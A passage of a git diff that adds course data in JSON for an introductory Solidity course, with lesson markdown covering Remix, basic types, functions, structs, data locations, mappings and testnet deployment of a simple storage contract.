+ } + ], + "createdAt": "2023-12-18T15:14:18.691Z", + "updatedAt": "2023-12-18T15:14:18.691Z" +} \ No newline at end of file diff --git a/content/courses/solidity.json b/content/courses/solidity.json new file mode 100644 index 00000000..71d9187b --- /dev/null +++ b/content/courses/solidity.json @@ -0,0 +1,678 @@ +{ + "courseId": "5d004a66-1e36-4679-a54f-6fd426913ba3", + "title": "Solidity fundamentals", + "path": "content/learning-paths/solidity-developer.json", + "lastUpdated": "Mon Jan 15 2024 12:22:48 GMT-0500 (Eastern Standard Time)", + "githubUrl": "https://github.com/Cyfrin/path-solidity-developer-2023", + "slug": "solidity", + "folderName": "solidity", + "previewImg": "https://res.cloudinary.com/droqoz7lg/image/upload/v1701193477/updraft/courses/qkrcodmbwwphpplbon0r.png", + "description": "If you’re new to writing smart contracts, start here! Get started developing smart contracts with Solidity, learn the best practices followed by the top-industry experts and kickstart your web3 career.", + "number": 0, + "overview": { + "learnings": "Introduction to smart contracts development and deployment, Introduction to blockchain oracles, Introduction to smart contracts testing ", + "preRequisites": [ + "Blockchain basics" + ] + }, + "duration": 5, + "authors": [ + { + "author": "content/authors/patrick-collins.json" + }, + { + "author": "content/authors/austin-griffith.json" + } + ], + "sections": [ + { +"sectionId": "8f376c2c-270d-4022-94ea-9686079c6244", + "number": 1, + "title": "Simple Storage", + "slug": "simple-storage", + "folderName": "1-simple-storage", + "lessons": [ + { + "lessonId": "eb95ab4e-315d-4c2c-ada7-de40ad9ea462", + "number": 1, + "title": "Introduction", + "slug": "introduction", + "folderName": "1-introduction", + "description": "This lesson provides an introduction to the course, guiding students through accessing and navigating the GitHub repository, understanding the usage of the repository for cloning lesson codes, and engaging in discussions. It also covers the importance of asking questions and setting up for coding, including accessing educational resources and preparing for building and deploying a smart contract.", + "duration": 3, + "videoUrl": "pUV2AeUKnl1lDC7JLX00EhV3AsxCQiq2QEuVcGga9O5o", + "rawMarkdownUrl": "/routes/solidity/1-simple-storage/1-introduction/+page.md", + "markdownContent": "---\ntitle: Repository Access and Navigation\n---\n\n*If you'd like, you can follow along with the course here.*\n\n\n\n\n## Introduction\n\nTo get started, navigate to our [GitHub repository](https://github.com/Cyfrin/foundry-full-course-f23) \n\n\n\n\nThe interface might look slightly different when you first access it, but no need to worry. What you're looking for is the repository associated specifically with this lesson. This repository will contain all the code required for this stage of the course, together with a `README` section. The `README` will provide you with a wealth of notes on how to work with the code.\n\n## Usage of the repository\n\nThe repository serves two main purposes:\n\n- **Access and Clone:** It provides easy access to all lesson codes, allowing you to clone them effortlessly.\n\n- **Discussion Section:** Engage with fellow students, ask questions, and participate in collaborative learning.\n\nMake the most of this repository by accessing and cloning lesson codes quickly, while also taking part in interactive discussions with your peers. Happy learning!\n\n## Asking Questions\n\nThroughout your journey, you'll likely have queries that you'd need answers to. We recommend using the Questions section provided. We'll guide you on how to ask questions such that they have the highest chance of receiving an answer from the community, an AI, or a forum.\n\n\n\n\n\n## Setting Up\n\nBefore we dive into coding, it is essential that you have access to the code repository and educational resources provided.\n\n1. Access the GitHub repository associated with this course. The repository contains all the code we will be working with, as well as a README file which includes important notes on working with the code.\n2. If you face any issues or want to participate in discussions, use the discussions tab on GitHub instead of creating issues.\n\nAlso, I recommend creating accounts on the following platforms if you haven't already:\n- [GitHub](https://github.com/)\n- [Stack Exchange Ethereum](https://ethereum.stackexchange.com/)\n- [Chat GPT](https://openai.com/blog/chatgpt) (but remember it might not always provide accurate information).\n\n## Let's Start Coding!\n\nNow, comes the exciting part — we're actually going to be building and deploying your first smart contract!\n\n\nWe're going to be utilizing a tool called an IDE — specifically, Remix, for deploying and interacting with this smart contract. The best way to get the most out of this guide is to code along with me. You're encouraged to change the speed on the tutorial video to match your coding pace. Remember, repetition is critical to building a new skill and we want to make sure that you come out on the other side armed with it!\n\n## The Deployment Tool: Remix\n\n\n\n\nTo plunge into coding, we're going to be using [Remix](https://remix.ethereum.org/). You can either Google search it or access it directly from the link provided.\n\nSo, let's jump right in and start deploying your first smart contract! By the end of this lesson, you'll have deployed your first smart contract and written your first bit of Solidity code. We can't wait to get through this exciting journey with you!\n\n\n\n\n", + "updates": [] + }, + { + "lessonId": "47b4427f-fb3e-4d7a-bb25-e26129720573", + "number": 2, + "title": "Setting up your first contract", + "slug": "create-solidity-smart-contract", + "folderName": "2-setting-up-your-first-contract", + "description": "A beginner's guide to creating a Solidity smart contract using Remix IDE. The lesson covers the basics of setting up a Solidity development environment, including creating a new file, writing the contract, understanding SPDX License Identifier, and compiling the contract.", + "duration": 11, + "videoUrl": "kA2wBENMmT6kXSDhSEOyj39XHI006iP6FNV4kX7Ww52A", + "rawMarkdownUrl": "/routes/solidity/1-simple-storage/2-setting-up-your-first-contract/+page.md", + "markdownContent": "---\ntitle: Setting Up Your First Contract\n---\n\n*If you'd like, you can follow along with the course here.*\n\n\n\n\n# Introduction\n\nTo get started, we want to open up remix. When you open it up, you'll be greeted with a site that looks like this.\n\n\n\nYou may select \"Accept\" or just ignore. \n\n\n## Using Remix IDE\n\nRemix IDE is a powerful tool used for developing smart contracts in Solidity. In this section, we will be creating our smart contract and deploying it on a blockchain.\n\n1. Open Remix IDE by either searching on Google or visiting the link provided in the GitHub repository.\n2. If it's your first time using Remix, it will provide you a tutorial walkthrough of its features. You can choose to go through it.\n3. Clean the environment by right-clicking and deleting the existing folders (optional).\n4. Create a new file by clicking on the \"create new file\" button and give it a name, e.g., SimpleStorage.sol. The `.sol` extension indicates it is a Solidity file.\n\n\n\n```js\n// Your first line in SimpleStorage.sol\npragma solidity ^0.8.19;\n```\n\nThis line specifies the version of Solidity you are using. The caret (^) symbol specifies that the code is compatible with the mentioned version and any new version till (but not including) 0.9.0.\n\n## SPDX License Identifier\n\nIt's a good practice to start your smart contract with an SPDX License Identifier. Though it's not mandatory, it helps in making licensing and sharing code easier from a legal perspective.\n\n```js\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.18;\n```\n\nMIT is known as one of the most permissive licenses which means anybody can use this code and pretty much do whatever they want with it.\n\n## Writing the Smart Contract\n\nStart by writing your contract using the keyword `contract`. Give it a name, e.g., SimpleStorage. Everything inside the curly brackets will be considered part of this contract.\n\n```js\n// SPDX-License-Identifier: MIT\npragma solidity ^0.8.18;\n\ncontract SimpleStorage {\n\n}\n```\n\n## Compiling the Contract\n\n1. In Remix IDE, select the Solidity Compiler.\n2. Choose the version of the compiler that matches the version specified in your Solidity file.\n3. Hit the `Compile` button.\n\nCompiling your code means taking human-readable code and transforming it into computer-readable code or bytecode.\n\nIf you see a green checkmark, it means your compilation was successful. If there is any error, Remix will point out where the error is, and you can debug it accordingly.\n\n## Congratulations\n\nTechnically, you just drafted your first Smart Contract. It's a straightforward operation and the script doesn't do anything yet. However, we're well on our way.\n\n", + "updates": [] + }, + { + "lessonId": "390707ce-edd1-40df-9b81-8eb7c47ebb96", + "number": 3, + "title": "Basic variable types", + "slug": "solidity-basic-types", + "folderName": "3-basic-types", + "description": "This lesson introduces basic variable types in Solidity, such as Boolean, Uint, Integer, Address, and Bytes. It explains how to define variables in a Solidity contract and their default values, providing a foundational understanding of data types in smart contract programming.", + "duration": 9, + "videoUrl": "qxt4xCD01jvWLIxO01qREuS9LIG00igdJL8wIz5d02mzWTI", + "rawMarkdownUrl": "/routes/solidity/1-simple-storage/3-basic-types/+page.md", + "markdownContent": "---\ntitle: Basic Solidity Types\n---\n\n*If you'd like, you can follow along with the course here.*\n\n\n\n## Learning about Solidity Types\n\nSolidity supports many different types, from primitive types like integers to complex ones like user-defined types. You can read more about them in the [Solidity documentation](https://docs.soliditylang.org/en/v0.8.20/types.html#types).\n\nFor now, let's focus on some of the basic types:\n\n- **Boolean:** Represents true or false value.\n- **Uint:** Uncapped positive whole number (An unsigned integer).\n- **Integer:** It could be positive or negative. (Whole numbers only, no fractions or decimals).\n- **Address:** A unique identifier similar to our everyday address.\n- **Bytes:** A set of bytes (a lower-level type that could be a string in hexadecimal representation).\n\n\n\n\n\n## Variables definitions in Solidity\n\nNow, let's understand variables. They are just placeholders for values, and these values can have one of the types from the list above (or even other types). For instance, we could create a Boolean variable named `hasFavoriteNumber`, which would represent whether someone has a favorite number or not (`True` or `False`).\n\n```bash\nbool hasFavoriteNumber = true;\n```\n\nIn the above statement, the variable `hasFavoriteNumber` now represents `True`.\n\nString and bytes have a special connection. In fact, strings are just bytes with special treatment for text. So, a string text can easily be converted to bytes.\n\n## The Magic that is 'Bytes'\n\nBytes could be observed in many shapes and forms, like an assortment of characters or words written in hexadecimal representation. Like integers, bytes too can be allocated size (but only up to `32`). For example:\n\n```bash\nbytes4 myBytes = \"test\";\n```\n\nIn the above statement, `myBytes` is a bytes variable, of size 4, holding the value \"test\".\n\n## Solidity Contract: Storing Favorite Numbers!\n\nLet's mark up a simple contract where we aim to store the favorite numbers of different people. We would only need the variable `favoriteNumber` of type Uint for this task.\n\n```bash\nuint256 favoriteNumber;\n```\n\nNow every variable in Solidity comes with a default value which may or may not be initialized. Like Uint256, it's default to Zero (0) and an uninitialized boolean defaults to `False`.\n\n```bash\nuint256 favoriteNumber = 0;\n```\n\nAbove statement suggests that favoriteNumber has been set to the default value of 0.\n\n## Wrapping Up\n\nYou've just created one smart contract and explored fundamental types and variables in Solidity in the process. Remember to write comments in your code. They’re like your map when re-visiting your code or explaining it to others.\n\nSo, keep experimenting, keep learning and let's continue with the next lesson.", + "updates": [] + }, + { + "lessonId": "f89fb538-7afa-486c-8a95-c402d755621c", + "number": 4, + "title": "Functions", + "slug": "solidity-functions", + "folderName": "4-functions", + "description": "This lesson focuses on creating functions in Solidity, specifically a 'Store' function for updating a variable. It explains the syntax and structure of functions, including visibility specifiers, and guides students through deploying and interacting with the smart contract using the Remix IDE.", + "duration": 20, + "videoUrl": "00D7glGDsJMTZ01T89urxC37iIriN02EhdQQxtHff00xqGw", + "rawMarkdownUrl": "/routes/solidity/1-simple-storage/4-functions/+page.md", + "markdownContent": "---\ntitle: Functions & Deployment\n---\n\n\n*Follow along with the course here.*\n\n\n\n\n\nLet's dive into creating our first Solidity function called `Store`. The function `Store` will be responsible for updating our `favoriteNumber` variable.\n\n## Building the Store Function\n\nIn Solidity programming, functions are identified by the keyword `Function`. You write the `Function` keyword, followed by the function's name, and additional parameters enclosed in parentheses. The parameters define the data a function needs to execute. For instance, to inform our `Store` function about the value it should use to update `favoriteNumber`, we pass a variable of type `uint256` named `_FavoriteNumber`.\n\nHere's how to define the function:\n\n\n\n```js\nfunction Store(uint256 _favoriteNumber) public {favoriteNumber = _favoriteNumber;}\n```\n\nWithin these brackets `{'{'}...{'}'}`, we indicate that the `favoriteNumber` variable is updated to `_favoriteNumber` whenever the `Store` function is called.\n\nThe prefix `_` indicates that `_favoriteNumber` is different from the favoriteNumber variable outside the function. This helps prevent potential confusion when dealing with different variables with similar names.\n\nThis function can be tested out on the local Remix VM.\n\n## Deploying the Smart Contract\n\nAt this stage, you can compile your code by navigating to the compile tab and hitting Compile. After compiling, navigate to the tab titled **Deploy and Run Transactions** to test your function.\n\nThe **Deploy and Run Transactions** tab holds a variety of parameters that are used during the deployment and running of transactions. The contract will be deployed to a simulated Remix VM environment.\n\n\n\nIn the environment, your contract will have been assigned a unique address. As with MetaMask wallets, you can copy the contract's address using the copy tool and save it as a comment in your code.\n\n\n\n\nAs shown below:\n\n```go\nThe Address of our Contract is: 0xd9145CCE52D386f254917e481eB44e9943F39138 This is a Sample Address\n\n```\n\nAgain, you can re-access your deployed contract by expanding the **Deployed Contracts** interface and simultaneously opening the terminal, which shows log data of all contract deployment and transactions.\n\n### Making Transactions with the Store Function\n\nNow, you can send a transaction to your `Store` function to change the variable `favoriteNumber`. By inputting a number and pressing the `Store` button, a transaction is initiated. After some time, the transaction's status will change from pending to complete.\n\nEvery transaction consumes Ether from your account as it is processed; Ether is spent for each operation inside Ethereum's virtual machine or EVM. In our case, deploying a contract and invoking its functions consumes gas (Ether).\n\nKeep in mind: whenever a value on the blockchain is modified, it's done by sending a transaction that consumes gas.\n\n### Checking the Transaction\n\nAt this point, you may want to confirm that the favorite number has actually been updated. The visibility of the `favoriteNumber` variable, however, is defaulted to internal thereby not allowing outside contracts and people to view it. But fear not, simply append the keyword `public` to variable `favoriteNumber` and you will be able to see it.\n\n```bash\nuint256 public favoriteNumber;\n```\n\nAfter compilation and deployment, a button labeled `favoriteNumber` will become visible. When pressed, it should return the value of `favoriteNumber`.\n\n\n\n\n## Understanding Function & Variable Visibility\n\nIn Solidity, functions and variables can have one of four visibility specifiers: \n- `public`\n- `private`\n- `external` \n- `internal`. \n \nIf a visibility specifier is not given, it defaults to `internal`.\n\n\n\n\n## Deeper Understanding of Functions\n\nIn the case of retrieving a value from the blockchain without modification, Solidity provides `view` and `pure` keywords.\n\nA function marked as `view` is used when we simply need to read state from the blockchain (without modifying it). It is correspondent to the blue buttons in the Remix interface.\n\n```bash\nfunction retrieve() public view returns(uint256){return favoriteNumber;}\n```\n\n\n\n\nA `pure` function, on the other hand, disallows any reading from the state or storage or any modification of the state.\n\n```bash\nfunction retrieve() public pure returns(uint256){return 7;}\n```\n\nIt's worth mentioning that while calling `view` or `pure` functions don’t require gas, they do require gas when called by another function that modifies the state or storage through a transaction.\n\n## Understanding the Scope of a Variable\n\nThe scope of a variable is determined by the curly braces `{'{'}...{'}'}` in which it is declared. A variable can only be accessed within its declared scope. Therefore, if you need to access a variable on different functions, you should declare it outside the functions but inside the contract.\n\n## Conclusion\n\nIn this walk-through, you have learnt how to build a function in Solidity, define its visibility, and understand how it operates on values within a smart contract. You have also explored different transactions and how they consume gas. By understanding functions and their operations, you can take the next step in creating and deploying sophisticated smart contracts on the Ethereum blockchain.\n\nLet's keep learning!", + "updates": [] + }, + { + "lessonId": "271a2535-9ece-4e0b-8678-8794bd84a0b0", + "number": 5, + "title": "Arrays and structs", + "slug": "solidity-arrays-and-structs", + "folderName": "5-arrays-and-structs", + "description": "This lesson explores the use of arrays and structs in Solidity for creating a list of favorite numbers and tying them to individuals. It demonstrates how to create and manipulate arrays and structs, enhancing the functionality of a smart contract to handle multiple data entries.", + "duration": 13, + "videoUrl": "wYHVJXyPlhgyY01VPHRYnx8emKqR8QUZa1Zoj02wAJYoE", + "rawMarkdownUrl": "/routes/solidity/1-simple-storage/5-arrays-and-structs/+page.md", + "markdownContent": "---\ntitle: Solidity Arrays & Structs\n---\n\n*Follow along with the course here.*\n\n\n\n## Storing and Tracking Favorite Numbers in Our Contract\n\nOur smart contract, as is, does an excellent job. It primarily enables users to store their favorite numbers, update them, and view them later. Sounds brilliant, right? Yet, it has been specifically designed to store a single favorite number at a time. What if we wanted to maintain not just our favorite number, but others as well?\n\nIn this lesson, we will explore how we can extend this functionality. We'll learn how to create a list of favorite numbers using arrays. Additionally, we will delve into using `structs` for creating new types in Solidity. Let's get started!\n\n### An Array of Favorite Numbers\n\nThe idea is to say goodbye to one `uint256` favorite number and say hello to a list of `uint256` numbers, or in our case, a list of favorite numbers. Here's the magic syntax:\n\n```bash\nuint256[] list_of_favorite_numbers;\n```\n\nThe bracket syntax identifies that we have a list of `uint256`, a list or array of numbers. An array of numbers would look something like this:\n\n```bash\nArray_Example_list_of_favorite_numbers = [0, 78, 90];\n```\n\nArrays are very dominant in computer science and programming, and an array in Solidity bears resemblance to an array in any other programming language. If you're new to arrays or lists, remember arrays are zero indexed. The first element starts from index zero, the second from index one, and so on.\n\n### Creating a Struct for `Person`\n\nBut an array of numbers is not enough - we wouldn't know whose favorite number is which! We need a way to tie favorite numbers to people. So let's evolve our code by defining a new type `Person` using the `Struct` keyword.\n\n```bash\nstruct Person {uint256 favorite_number;string name;}\n```\n\nRealize the beauty of this new type? Now each `Person` has a favorite number and a name! Remember we need to be particular about scope - don't let your internal variable names clash.\n\n```bash\nRenaming to avoid clashuint256 my_favorite_number;\n```\n\nWe can now create a variable of type `Person` the same way we did for `uint256`. Meet our friend Pat!\n\n```bash\nPerson public my_friend = Person(7, 'Pat');\n```\n\nSo, we've now created our own type `Person` and defined Pat who has a favorite number of seven and a name of 'Pat'. We can retrieve these details using the generated getter function thanks to the `public` visibility.\n\n### An Array of `Person`\n\nCreating individual variables for each friend might become a tedious task, especially when we'd like to add a large number of friends. What we can do instead is use the array syntax we've learned and create an array or list of `Person`.\n\n```bash\nPerson[] public list_of_people;\n```\n\nWhen using a dynamic array, we can add as many `Person` objects as we wish to our list, as the size of the array can now grow and shrink dynamically in Solidity. We can access each `Person` object in our array by its index.\n\n### Adding Persons to the List\n\nNext, we need to create a function that will allow us to add people to our list.\n\n```bash\nfunction add_person(string memory _name, uint256 _favorite_number) public {\n list_of_people.push(Person(_favorite_number, _name));\n}\n```\n\n`add_person` is a function that takes two variables as input - the name and favorite number of the person. It creates a new `Person` object and adds it to our `list_of_people` array.\n\n### Final Thoughts\n\nWith these additions, our Solidity contract is now able to store multiple favorite numbers, each tied to a specific person. When called, our `add_person` function will create a new `Person`, add them to the dynamic array and we can view each person and corresponding favorite number via their array index.\n\nAnd that's it! We've now gone from a simple contract that stores just one favorite number to one that can handle multiple favorite numbers from different people. Happy coding!\n\n\n", + "updates": [] + }, + { + "lessonId": "1b19ae88-aafa-4d49-be07-40f1a34bb6b7", + "number": 6, + "title": "Errors and warnings", + "slug": "solidity-errors-and-warnings", + "folderName": "6-errors-and-warnings", + "description": "A guide to understanding and resolving errors and warnings in Solidity programming. The lesson covers interpreting the color coding of error messages, leveraging online resources like Phind, and effectively using communities like GitHub discussions and Stack Exchange for problem-solving.", + "duration": 5, + "videoUrl": "aylvinWWznTCbheZ7tEick97wRum01401nzrlzZuT3NL4", + "rawMarkdownUrl": "/routes/solidity/1-simple-storage/6-errors-and-warnings/+page.md", + "markdownContent": "---\ntitle: Errors and Warnings\n---\n\n*Follow along with the course here.*\n\n\n\n\n\n## Interpreting the Color Coding\n\nWhen working with Solidity, if we negligently eliminate something crucial from our code – like semicolon – and then try to compile, we are met with a stream of red error messages. Whenever you see these red errors, it indicates that your code is not compiling. In essence, Solidity isn't able to convert your written code into machine-readable form.\n\nHere's an illustrative error message you might encounter:\n\n\n\n\n\n\n\nHere, Solidity is complaining about a missing semicolon. So, to rectify this, we simply need to append a semicolon at the appropriate point in the code, then recompile. With the semicolon in place, no errors will occur, and we can go on to deploying our code to the blockchain.\n\nOn another note, let's consider what happens when we delete the SPDX license identifier from the top of our code, then recompile. Instead of a sea of red, we get a yellow box alerting us to a warning, rather than an error.\n\n```markdown\n> Warning: SPDX license identifier not provided in source file\n```\n\n\n\n\nIt's encouraging to note that, despite warnings, we can still compile and deploy our code. These warnings function as alerts; not as impediments. However, this should not be interpreted as carte blanche to ignore these alerts. They are warnings for a good reason. Often, they highlight poor or risky practices in your code, sometimes hinting at bugs. Thus, it's often wise to heed these warnings and modify your code accordingly.\n\nTo recap:\n\n- If it's *red*, it's broken.\n- If it's *yellow*, you might want to double-check.\n\n## Learning to Leverage Online Resources\n\nIn situations when the errors or warnings remain cryptic, we can turn to online resources for assistance. Suppose you encounter an error message that leaves you bewildered. In such cases, copying the error message and performing a Google search, or using resources highlighted in this course – such as Chat GPT, GitHub Discussions, Ethereum Stack Exchange – can make the situation clearer. Each of these resources has its strengths and weaknesses, which we will discuss later in the course.\n\n### Utilizing Phind – The AI Search Engine for Developers\n\nFor instance, using [Phind](https://www.phind.com/) can prove beneficial. **Phind** is an AI-powered search engine for developers. It operates by first conducting a Google search based on your query, then parsing the results to give you a contextual response.\n\n\n\n\nWe can enter the compiler error under the drop-down selection, then execute the search. The result is a detailed insight into why the error occurred and how to fix it.\n\n\n\n\n\n\nAfter intensive AI analysis, **Phind** suggests that a simple addition of a semicolon where the new person is being pushed onto the dynamic 'people' array list, can resolve the issue.\n\n\n\n## Other Key Online Developer Resources\n\nSeveral AI tools are still in their developmental stages so they may not always render the perfect solution.\n\nOther remarkable communities include **GitHub discussions, Stack Exchange** among others.\n\n\n\n\nWe encourage you to actively use these resources, as they can significantly enhance your understanding and skill.\n\nIn later parts of this course, we will take a closer look at posing effective questions, AI prompting, structuring your questions, as well as searching and learning more.\n\nShould you receive a less than satisfactory answer from Find or Chat GPT, feel free to use the GitHub discussions for course-specific queries. For broader questions about Solidity or Foundry, there are several other resources at your disposal.\n\nCongratulations! You've just taken your first steps into the domain of prompt engineering and the understanding to face errors and warnings head-on. In the next lesson, we will take a closer look at the Solidity and more advanced features of Remix.", + "updates": [] + }, + { + "lessonId": "1d8d1ef5-924a-4a2a-89cd-25c31f274e62", + "number": 7, + "title": "Memory storage and calldata", + "slug": "solidity-memory-storage-calldata", + "folderName": "7-memory-storage-calldata", + "description": "An in-depth look at data locations in Solidity, focusing on the differences and applications of 'memory', 'storage', and 'calldata'. The lesson explains these concepts with examples, clarifying their roles in temporary and permanent data storage within smart contracts.", + "duration": 6, + "videoUrl": "ZoY4VGpMRZ00yx2qXv5HKWCRrFOjNYCyl02sfzArg7fxM", + "rawMarkdownUrl": "/routes/solidity/1-simple-storage/7-memory-storage-calldata/+page.md", + "markdownContent": "---\ntitle: Memory, Storage, and Calldata\n---\n\n\n*Follow along with the course here.*\n\n\n\n\nOne aspect that crashes the compilers and gets heads scratching is the `memory` keyword, which we can gloss over, as it's heavily entwined with the data locations in Solidity. You might be puzzled when you delete the keyword sometimes and you receive a compilation error. Let's dive into this conundrum.\n\n## Data Locations in Solidity\n\nSolidity allows data to be stored in 6 locations:\n\n1. Stack\n2. Memory\n3. Storage\n4. Calldata\n5. Code\n6. Logs\n\nFor the purposes of this post, we will focus on three principal ones: Call Data, Memory, and Storage. Adding a word of caution – this can get quite intricate. If you don’t comprehend everything on the first go, remember perseverance is the key.\n\n## Call Data and Memory: Temporary Variables\n\n\n\n\nIn Solidity, `calldata` and `memory` relate to temporary variables that only exist during the execution of a function. If you run a function with a variable name for once, you can access it only for that particular function execution. If you try to retrieve the variable in the next function execution, you will fail because it was stored temporarily.\n\nExample:\n\n```bash\nstring memory name = \"Patrick\";\nuint256 favoriteNumber = 7;\n```\n\nStrings need special attention. In Solidity, you must specify either memory or call data due to the way arrays work in memory. Most variables automatically default to memory variables, while strings require explicit specification.\n\n\n\n\nSo far, so right, but why do we have two variants of temporary variables? Let's explore more with an example.\n\n\n\n\nNow, If we replace `memory` with `calldata` and try to compile it, we receive an error message. This occurred because, unlike `memory` variables, `calldata` variables can't be manipulated – they are read-only.\n\n## Storage: Permanent Variables\n\nWhile `calldata` and `memory` are designated for temporary variables, `storage` is for permanent variables that can be altered.\n\n\n\n\nVariables declared outside any function, directly under the contract scope, are implicitly converted to storage variables.\n\n```bash\ncontract MyContract {\n uint256 favoriteNumber = 123\n };\n```\n\nYou can always retrieve these permanent variables later, even outside function calls.\n\n## The Essence of Memory Keyword\n\nNow, you might be thinking, why do we explicitly use the `memory` keyword on the String and not on the `uint256`, also you'll get an error stating `Data location can only be specified for array, struct, or mapping type`.\n\n\n\n\nSolidity recognizes `string` as an array of bytes (a special type) and due to memory management workings, we need to use `memory` with it. Primitive types such as the `uint256` are smart enough and know where to be located under the hood.\n\nRemember, you can't use the `storage` keyword for temporary variables inside a function. Only `memory` and `calldata` are allowed here because the variable only lives for a short duration.\n\n## Key Takeaway\n\n- When passed as function parameters, structs, mappings, and arrays in Solidity need to use the explicit `memory` keyword.\n- Strings, considered an array of bytes, require explicit `memory` or `calldata` keyword.\n\nCongratulations for reaching this point, now let's delve into Solidity mappings.", + "updates": [] + }, + { + "lessonId": "2022d3b1-4a00-429a-8fbd-e984114ba876", + "number": 8, + "title": "Mappings", + "slug": "solidity-mappings", + "folderName": "8-mappings", + "description": "This lesson introduces the concept of mappings in Solidity, explaining how they can be used to efficiently link information, such as connecting names to numbers. It demonstrates how to define and use mappings to improve data access in a smart contract.", + "duration": 5, + "videoUrl": "oKWRkN01aLcvYfUhZxenOHx4Br9pYltuQG4kJyrLGB200", + "rawMarkdownUrl": "/routes/solidity/1-simple-storage/8-mappings/+page.md", + "markdownContent": "---\ntitle: Solidity Mappings\n---\n\n*Follow along with the course here.*\n\n\n\n\n\n## Understanding the Problem with Arrays\n\nImagine you have a contract that holds a list of individuals along with their favorite numbers:\n\n```json\n[\n (\"Pat\", 7),\n (\"John\", 8), \n (\"Mariah\", 10), \n (\"Chelsea\", 232)\n]\n```\n\nNow, if you want to know Chelsea's favorite number, you will have to run a loop through the array. This might seem fine when managing data of a few individuals, but imagine scaling this up to 1,000 or more. Constantly iterating through large arrays to locate a specific element can be incredibly time-consuming and inefficient.\n\nTake the scenario:\n\n```json\nOh, what was Chelsea's favorite number?\n Array element at 0 - Pat.\n Array element at 1 - John.\n Array element at 2 - Mariah.\n Array element at 3 - Chelsea => favorite number: 232.\n```\n\nIs there a better data structure that can improve this access process and make finding individual information a breeze?\n\nMeet `mapping`.\n\n## Mapping: A Simpler Way to Link Information\n\nThink of mapping in coding like a dictionary: each word in a dictionary has a unique meaning or a chunk of text associated with it. Similarly, a mapping in code is essentially a set of keys with each key returning a unique set of information. Thus, if you look up a word or a 'string' in coding terms, the corresponding output will be the text or 'number' associated only with that string.\n\nA typical way of defining a mapping starts with the keyword 'mapping', the key type, the datatype of data to be linked with each key and the visibility type. Let's create a mapping type:\n\n```javascript\nmapping (string => uint256) public nameToFavoriteNumber;\n```\n\nWith this, we have constructed a mapping that maps every string to a uint256 number emulating a link between a person's name and their favorite number. Now, rather than iterating through an array, we can directly enter the name and get their favorite number.\n\n## Augmenting the AddPerson Function\n\nPreviously, we had an `addPerson` function that enabled us to add someone to our list. Let's modify this function to update our mapping every time a person is added:\n\n```javascript\n// Adding someone to the mapping\nnameToFavoriteNumber[_name] = _favoriteNumber;\n```\n\nThis line will add a person's name to the mapping where each name will point to their favorite number. The result? A far quicker way to access a person's favorite number just by knowing their name.\n\n\n\n\n## A Test Run\n\n\n\n\nThe last example illustrates an important point. In a mapping, the default value for all key types is zero. Therefore, if you look up a key (person's name in this case) that hasn't been added yet, it will return the default value which is zero.\n\n## Wrapping Up\n\nIn conclusion, mapping in code can be a versatile tool to increase efficiency when attempting to find elements within larger lists or arrays. By streamlining the process with the use of a mapping, you can avoid the woes of constant iteration and instead achieve results more directly. As such, mapping is a useful tool every programmer should have in their toolbox.", + "updates": [] + }, + { + "lessonId": "bdcd4385-ca14-49c0-8367-cdf923c9e6ec", + "number": 9, + "title": "Deploying your first contract", + "slug": "deploying-solidity-smart-contract", + "folderName": "9-deploying", + "description": "A practical guide to deploying a Solidity smart contract on a testnet. The lesson walks through the pre-deployment audit, compilation check, changing the environment, connecting accounts, confirming transactions, and interacting with the deployed contract.", + "duration": 10, + "videoUrl": "900kcAE01NeJdsjhuTLqS368dCw902e7FKIpZHiATdnbGE", + "rawMarkdownUrl": "/routes/solidity/1-simple-storage/9-deploying/+page.md", + "markdownContent": "---\ntitle: Deploying a Contract\n---\n\n*Follow along with the course here.*\n\n\n\n\n# Deploying A Simple Storage Contract On A Testnet\n\nIf you’ve been following along through our work with simple storage contract, you will see that we have progressively added functionality to our solidity contract. With our favorite number feature, typing person, public list, favorite number retrieval, and update functions, we’ve built up a solid contract structure. Now, it’s time to steer away from abstract theorizing and practically deploy this to a real **testnet**.\n\n\n## Pre-Deployment Audit\n\n\n\n\n## Compilation Check\n\nThis ensures that our contract has no errors or warnings and is fit for deployment. Go to your development environment and ensure that you have a green checkmark, indicating a successful compilation.\n\n## Changing The Environment\n\nThe deployment process Kicks off by switching from the local virtual environment (Remix VM) to MetaMask as the Injected provider. Here's how you can make the switch:\n\n1. Navigate to the deploy tab\n2. Delete any content there\n3. Change the environment\n\nChoose the **Injected Provider MetaMask** option. This allows the web interface to interact with your MetaMask account.\n\n\n\n\n## Connecting The Account\n\nUpon choosing MetaMask as your injected provider, you will be prompted to pick a specific account for use. Choose your desired account and proceed to connect it. Next, check your MetaMask display and ensure that your account is properly connected to Remix. It’s critical to double-check that you are on the correct testnet as this guide uses the Sapolia testnet.\n\n\n\n\nIf have sufficient Sapolia ETH in your account provided from a [faucet](https://sepoliafaucet.com/), you can now go ahead and click the \"Deploy\" button.\n\n\n## Confirming The Transaction\n\nUpon hitting the deploy button, MetaMask will prompt you to confirm the transaction for contract deployment.\n\nSince we are on the Sapolia testnet and not on a mainnet, the money spent here is not real.\n\nClick \"Confirm\" to launch the contract deployment.\n\n\n\n\n## Checking The Deployment\n\nAfter you confirm, you should now find the following indicators that your contract deployment is successful:\n\n- Green checkmark appears\n- Invocation status changes to ‘block confirmations’\n- Contract address appears under deployed contracts\n\n\n\n\n\nIf you wait and refresh your etherscan page, you’ll see a \"Success\" status, along with the complete details of your transaction. For deployment transactions, the input data field will be larger than normal transaction data; it contains contract creation data, along with the gas fee details because any action that alters the blockchain requires gas for implementation.\n\n\n\n\n# Interacting With The Deployed Contract\n\nNow that your contract has been successfully deployed, we can recreate the same Flexibility as we had on the virtual environment on this testnet.\n\nWe can call the Retrieve function, and Name to favorite function which returns zero and nothing respectively as we haven't updated anything. Adding zero in for the list of people also returns nothing as expected.\n\n# Updating The Blockchain\n\nTo update the blockchain, press store and input a number (e.g., 7878). MetaMask will prompt you to confirm the update transaction. This will update the favorite number on the contract.\n\nSimilar confirmation checks will be run, with transaction details available on etherscan.\n\n\n\n## Celebrate Small Wins\n\nIf you’ve successfully followed all these steps, you’ve just navigated your first practical deployment of a smart contract to a testnet! Don't underestimate the importance of celebrating small developmental milestones. They are key psychological boosts that will keep you motivated and engage with any new skill you’re learning.\n\n\n## Deploying to Another Testnet\n\nIf you wanted to deploy to another testnet, just switch to the testnet, ensure sufficient ETH and repeat the deployment process.\n\n## Deploying to Mainnet\n\nFor the mainnet, the same process is applicable with the main difference being that you would require Ethereum, or in other words real money, to deploy.\n\nMoreover, if you want to deploy to other EVM compatible networks, we'll cover that in future guides.\n\n## 